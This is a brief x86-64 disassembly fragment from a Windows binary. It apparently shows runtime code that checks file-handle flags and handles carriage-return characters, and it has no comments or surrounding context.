mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001e75e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001e72e
mov word [rbx], r13w
jmp 0x14001e78e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001e73b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001e78e
cmp word [rsp + 0x70], r13w
jne 0x14001e76b
cmp rbx, r14
je 0x14001e728
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001b1c4
cmp word [rsp + 0x70], r13w
je 0x14001e791
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140038740]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001e78b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14001e791